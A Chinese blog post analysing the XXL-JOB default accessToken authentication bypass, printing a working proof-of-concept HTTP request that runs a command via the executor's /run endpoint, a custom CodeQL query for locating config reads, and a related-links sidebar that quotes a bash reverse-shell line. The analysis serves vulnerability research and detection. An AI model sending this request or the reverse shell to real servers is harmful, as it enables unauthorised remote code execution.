CodeQL分析XXL-JOB默认accessToken命令执行漏洞

最新推荐文章于 2025-07-13 20:59:01 发布
原创 最新推荐文章于 2025-07-13 20:59:01 发布 · 1.6k 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#网络安全

CodeQL工具

CodeQL是基于2019 微软收购GitHub的时候开源的一个源代码分析引擎，分析引擎是白盒代码工具的核心，有了这个引擎之后，随着网上不断迭代的支持CodeQL的queries规则库，CodeQL也慢慢在源代码审计安全圈活跃起来，比如log4shell这个漏洞就是通过CodeQL发现的。

CodeQL=Code Query Language 和SQL相似，分析引擎在分析完代码后会生成一个类似DB的文件夹Snapshot Database，里面的文件全是源代码和关系数据，接下来我们通过输入QL语句也就是queries规则可以查到XXL-JOB默认accessToken命令执行的漏洞点，然后对其进行分析。

图片

xxl-job默认accessToken绕过原理

accessToken 本来是为了修复2020年xxl-job 执行器executor RESTful API 未授权访问 RCE 漏洞，为了防止其未授权添加了accessToken校验，但是很多人在使用该框架的时候并未修改其默认的值xxl.job.accessToken=default_token，与之前shiro的默认key泄漏导致的RCE原理很相似。

图片

POC:

POST /run HTTP/1.1Host: 192.168.50.92:9999Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeXXL-JOB-ACCESS-TOKEN: default_tokenContent-Type: application/jsonContent-Length: 370
{  "jobId": 1,  "executorHandler": "demoJobHandler",  "executorParams": "demoJobHandler",  "executorBlockStrategy": "COVER_EARLY",  "executorTimeout": 0,  "logId": 1,  "logDateTime": 1586629003729,  "glueType": "GLUE_POWERSHELL",  "glueSource": "open -a Calculator",  "glueUpdatetime": 1586699003758,  "broadcastIndex": 0,  "broadcastTotal": 0}

POC执行结果：

图片

接下来笔者通过源代码分析该漏洞成因。

首先找到该程序的入口：

图片

找到该程序的入口

图片

通过上述代码，判断该处校验accessToken传入的XXL-JOB-ACCESS-TOKEN: default_token和配置文件中的xxl.job.accessToken=default_token是否一致，如果不一致，则返回FAIL_CODE。

按照相同逻辑就可以在代码中寻找配置文件读取函数和配置对比函数。

例如查找配置文件读取函数：

图片

查找该函数构造方法，使用了loder.getResourceAsStream(propertyFileName)函数读取配置文件：

图片

除此之外，笔者收集了常用的读取配置的函数：

  • this.getClass().getResourceAsStream("application.properties")

  • this.getClass().getClassLoader().getResourceAsStream("application.properties");

  • ClassLoader.getSystemResourceAsStream("application.properties");

  • new ClassPathResource("application.properties");

  • new BufferedInputStream(new FileInputStream("application.properties");

  • new FileInputStream("application.properties");

  • ClassLoader.getSystemResourceAsStream("application.properties");

  • ResourceBundle.getBundle("config/application");

下载QL官方库：https://github.com/github/codeql，可见官方库中自带的基础包。

图片

在上述目录中构建一个属于自己的目录Test在其中构造了一个简单的QL语句

import java
from MethodAccess ma, Method m where  m = ma.getMethod() and  m.getName().regexpMatch("equals|getResourceAsStream|getResourceAsStream|getSystemResourceAsStream|ClassPathResource|BufferedInputStream|FileInputStream|getSystemResourceAsStream|getBundle") and  not m.getDeclaringType().getName().matches("SecureUtil|WhiteListedClass")select ma, "Risky method " + m.getName()

上述语句使用简单的AST匹配模式检测危险函数的方法，匹配等式判断、配置读取等函数。

图片

然后通过查询结果找到读取配置的位置，即读取配置函数的定位。

图片

读取配置的属性包括addresses、accessToken、appname、addres、ip、port、logpath、logretentiondays等，如前文所述，accessToken身份绕过漏洞就是accessToken配置值和API请求的XXL-JOB-ACCESS-TOKEN一致通过的校验。

图片

通过equals 找到与上述参数相关的代码

位置1：

图片

位置2：

图片

找到上述方法的构造出POST或者GET请求方法，即文章开头的漏洞处。

图片

总结

  • CodeQL本质上和其他的代码审计工具没什么不同，都是通过规则来查询疑似有安全问题的代码，只是分析技术不同而已，且规则自由度大。

  • XXL-JOB默认accessToken绕过的原理就是配置没有做随机化生成处理。所有使用该XXL-JOB项目的默认值都是default_token，这导致了在默认配置下使用该token可以绕过授权认证功能。

  • CodeQL默认的规则应该检测不出该类型的漏洞的，通过自定义CodeQL规则也不能完全准确的检测出该类型的问题，只是能检测出大致的范围，其漏洞还是需要仔细分析。

  • 作者：ppwq@HLM

  • 2023年11月3日

    洞源实验室

XXL-JOB 默认 accessToken 身份绕过漏洞复现
0xSec
11-03 3894
XXL-JOB 默认配置下，用于调度通讯的 accessToken 不是随机生成的，而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值，攻击者可利用此绕过认证调用 executor，执行任意代码，从而获取服务器权限。
XXL-JOB默认accessToken身份绕过RCE漏洞复现 [附POC]
薛定谔嘚喵博客
11-03 1368
XXL-JOB 是一款开源的分布式任务调度平台，用于实现大规模任务的调度和执行。XXL-JOB 默认配置下，用于调度通讯的 accessToken 不是随机生成的，而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值，攻击者可利用此绕过认证调用 executor，执行任意代码，从而获取服务器权限。经分析和研判，该漏洞利用难度低，可导致远程代码执行。
漏洞复现-XXL-JOB accessToken 存在身份认证绕过漏洞
玄道的网安博客
08-13 1927
官方已修复该漏洞，建议用户修改调度中心和执行器配置项 xxl.job.accessToken 的默认值。默认情况下是非空的，也就是xxl.job.accessToken=default_token。动态生效：用户在线通过Web IDE开发的任务代码，远程推送至执行器，实时加载执行。XXL-JOB为了灵活支持多语言以及脚本任务，提供了创新的 “是许雪里（XXL-JOB）社区的一款基于java语言的分布式任务调度平台。：任务以源码方式维护在调度中心，支持通过Web IDE在线开发、维护。
XXL-JOB v2.4.0 发布 | 安全漏洞修复
许雪里
03-23 2534
XXL-JOB是一个轻量级分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线，开箱即用。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8Hjsl4t-1586859195388)(https://upload-images.jianshu.io/upload_images/3165072-2124d438362d68e5.png “在这里输入图片标题”)]
当下的网络安全行业前景到底怎么样？还能否入行？
2201_75735270的博客
11-16 301
网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。
XXL-JOB 漏洞大全
yggcwhat
09-20 3976
XXL-JOB 漏洞大全
【漏洞复现】XXL-JOB默认accessToken身份绕过远程命令执行漏洞
失心少年
11-09 1028
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。XXL-JOB 是一个轻量级分布式任务调度平台，其核心设计目标是开发迅速、学习简单、轻量级、易扩展。xxl-job是一个中心式分布式的调度平台，调度中心和执行器解耦，执行器和业务代码耦合，代码的侵入性少，学习简单、开发简单、轻量级。漏洞链接：http://127.0.0.1:9999/run。
精选资源
XXL-JOB反弹shell利用工具（xxl-jobExploitGUI）
11-03
工具实现了XXL-JOB默认accessToken权限绕过漏洞的单个检测、批量检测、一键反弹shell功能，后续会持续更新优化，添加POC检测等。（由于传播、利用此资源所提供的信息或者工具而造成的任何直接或者间接的后果及损失，...
漏洞复现--XXL-JOB默认accessToken身份绕过漏洞
qq_53003652的博客
11-03 2171
文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负。
XXL-JOB任务调度系统远程命令执行漏洞
KP_0x01的博客
07-13 2149
XXL-JOB命令执行漏洞证明：开源组件需要持续安全监控任务调度系统应作为重点防护对象输入验证是Web安全的第一道防线。
XXL-JOB漏洞分析与利用
m0_63828240的博客
08-19 3723
在当今的数字化时代，任务调度平台对于企业级应用来说至关重要。它们负责自动化和协调各种时间敏感或周期性的任务，确保业务流程的顺畅运行。XXL-JOB作为一款流行的分布式任务调度平台，因其强大的功能和易用性，被广泛部署在各种规模的系统中。然而，随着其应用的普及，安全研究人员开始关注这些系统可能存在的潜在风险，一个漏洞的发现可能会导致数据泄露、服务中断甚至整个系统被控制。对于渗透测试人员来说，学习XXL-JOB的漏洞原理，能够在一定程度上提升渗透能力。
【漏洞库】XXL-JOB 默认accessToken权限绕过导致RCE
yuan_boss的博客
11-03 4990
在这个靶场环境中，我只能执行获得反弹shell的EXP，如果是ping一个dnslog域名，或者是创建一个目录，都是无法成功的，有时候反弹shell也不可以，但是可以创建目录，不知道为啥，可能有点玄学吧！在经过对靶场环境的多次重启试验之后，我发现我们编写的EXP只能用一次，如果第二次用其他命令就无法命令执行了，除非将靶场环境重启，我们才能执行其他的命令，不然只能一直使用第一次用的EXP。漏洞复现详细参考链接：https://mp.weixin.qq.com/s/JEpiUndGLe–ufLq0NR0_Q。
XXL-JOB executor 未授权访问漏洞
qq_59201520的博客
03-28 1万+
XXL-JOB executor 未授权访问漏洞的漏洞复现和一些理解思考以及复现过程中的问题和解决
XXL-Job任务调度中心后台RCE和executor未授权访问漏洞
gzy1616的博客
01-10 2184
bin/bash -i >& /dev/tcp/监控ip/5555 0>&1。运行模式选择shell，使用在线的dnslog网站，判断出不出网。执行命令后刷新在线的Dnslog网站发现命令执行成功。首先我们在Linux中搭建好靶场。输入密码admin/123456。找到任务管理新建一个任务。
XXL-JOB默认accessToken身份绕过--远程代码执行漏洞复现
Tender*的博客
11-14 5383
该漏洞是由于XXL-JOB 在默认配置下，用于调度通讯的 accessToken 不是随机生成的，而是使用 application.properties 配置文件中的默认值，如果用户没有修改该默认值，攻击者可利用此绕过认证调用 executor，执行任意代码，导致远程代码执行。链接：https://pan.baidu.com/s/12AkZ6JdpOm36bHrq1EEVPQ。XXL-JOB是一款开源的分布式任务调度平台，用于实现大规模任务的调度和执行。也可以尝试去搭建环境复现。三.网络空间测绘查询。
Goby 漏洞发布｜XXL-JOB accessToken 权限绕过漏洞
m0_46699477的博客
11-02 1644
XXL-JOB 是一款开源的分布式任务调度平台，用于实现大规模任务的调度和执行。XXL-JOB 存在默认 accessToken ，攻击者可使用 accessToken 绕过认证权限，调用 executor，执行任意代码，从而获取服务器权限。
XXL-JOB 任务调度中心 后台任意命令执行漏洞
热门推荐
LiBai'S BLOG
10-17 3万+
在日常开发中，经常会用定时任务执行某些不紧急又非常重要的事情，例如批量结算，计算当日的订单量，当日的成本收入等。当存在大量定时任务的时候，任务的管理也会成为一个比较头痛的问题。XXL-JOB 任务调度中心系统存在后台命令执行漏洞，攻击者可以通过反弹shell执行任意命令，获取服务器管理权限。
XXL-JOB executor 未授权访问漏洞_xxl-job漏洞(1)，2024年最新熬夜肝完这份Framework笔记
2401_84185224的博客
04-10 1365
glueType”:“BEAN”， //任务模式，可选值参考com.xx1.job.core.glue.alueTypeEnum。“executorTimeout”😮， //任务超时时间，单位秒，大于零时生效。“executorB1ockstrategy”:“cOVER_EARLY”, //任务阻塞策略，可选值参考。“gluesource”:“xxx”， //GLUE脚本代码。“jobId”:1， //任务ID。
xxl-job-admin accessToken使用场景‘
最新发布
07-30
在 XXL-JOB 中，`accessToken` 是一种用于增强系统间通信安全性的机制。其主要作用是作为访问令牌，在调度中心（xxl-job-admin）与执行器之间进行身份验证和权限控制。 ### `accessToken` 的作用 - **身份验证**：执行器在向调度中心注册或请求任务时，需要携带相同的 `accessToken`，以证明其身份的合法性。只有与调度中心配置一致的 `accessToken` 才能通过验证，从而完成注册或任务触发操作。 - **权限控制**：通过设置非空的 `accessToken` 值，可以限制未授权的执行器访问调度中心，防止非法任务执行或资源被滥用。 - **增强安全性**：在生产环境中，若不启用 `accessToken`，可能会导致系统暴露在未授权访问的风险中。通过启用该功能，可以有效提高系统的安全性[^1]。 ### 使用场景 1. **执行器注册**：执行器在启动时会向调度中心发起注册请求，此时会携带配置的 `accessToken`。调度中心会校验该值是否匹配，若不匹配则拒绝注册。 2. **任务调度请求**：当调度中心需要向执行器发送任务触发请求时，同样会携带 `accessToken` 作为身份凭证，执行器会验证该令牌以确保请求来源合法[^2]。 3. **多租户或隔离环境**：在某些需要隔离不同业务线或租户的场景中，可以通过为不同执行器配置不同的 `accessToken` 来实现逻辑隔离，防止任务被错误触发或数据混淆。 4. **动态扩展与高可用部署**：在执行器动态扩展或调度中心多节点部署的场景中，统一配置的 `accessToken` 能确保新增节点顺利接入系统并被正确识别[^3]。 ### 配置示例 在执行器的配置文件中，需添加如下配置项以启用 `accessToken`： ```properties # 调度中心部署地址 xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin # 执行器token，非空时启用 xxl.job.accessToken=123456 # 执行器app名称，需与调度中心配置一致 xxl.job.executor.appname=demo-xxl-job # 执行器端口号 xxl.job.executor.port=9999 ``` 若调度中心未设置 `accessToken`，执行器也可不配置该项，使用默认值 `"default_token"` 进行通信[^1]。 --- ###
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值